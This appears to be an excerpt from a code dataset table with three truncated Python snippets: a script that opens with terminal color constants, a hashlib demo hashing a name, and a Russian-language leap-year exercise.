1,697 | 2c834c734de8f8740176bb5dbb6b123c49924718 | #!/usr/bin/env python3
import os
import subprocess
import logging
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
# Recov... | [
"#!/usr/bin/env python3\n\nimport os\nimport subprocess\nimport logging\n\n\nclass color:\n PURPLE = '\\033[95m'\n CYAN = '\\033[96m'\n DARKCYAN = '\\033[36m'\n BLUE = '\\033[94m'\n GREEN = '\\033[92m'\n YELLOW = '\\033[93m'\n RED = '\\033[91m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'... | false |
1,698 | ab4c668c8a167f8c387199b7aa49aa742d563250 | import hashlib
md5 = hashlib.md5(b'Najmul')
print(md5.hexdigest())
sha1 = hashlib.sha1(b'Najmul')
print(sha1.hexdigest())
sha224 = hashlib.sha224(b'Najmul')
print(sha224.hexdigest())
sha256 = hashlib.sha256(b'Najmul')
print(sha256.hexdigest())
sha384 = hashlib.sha384(b'Najmul')
print(sha384.hexdigest())
sha512 = ... | [
"import hashlib\n\nmd5 = hashlib.md5(b'Najmul')\nprint(md5.hexdigest())\n\nsha1 = hashlib.sha1(b'Najmul')\nprint(sha1.hexdigest())\n\nsha224 = hashlib.sha224(b'Najmul')\nprint(sha224.hexdigest())\n\nsha256 = hashlib.sha256(b'Najmul')\nprint(sha256.hexdigest())\n\nsha384 = hashlib.sha384(b'Najmul')\nprint(sha384.hex... | false |
1,699 | 99e6e734c7d638e3cf4d50d9605c99d5e700e82a | # Дано натуральное число. Требуется определить,
# является ли год с данным номером високосным.
# Если год является високосным, то выведите `YES`, иначе выведите `NO`.
# Напомним, что в соответствии с григорианским календарем, год является високосным,
# если его номер кратен 4, но не кратен 100, а также если он кратен 4... | [
"# Дано натуральное число. Требуется определить,\n# является ли год с данным номером високосным.\n# Если год является високосным, то выведите `YES`, иначе выведите `NO`.\n# Напомним, что в соответствии с григорианским календарем, год является високосным,\n# если его номер кратен 4, но не кратен 100, а также если он... | false |
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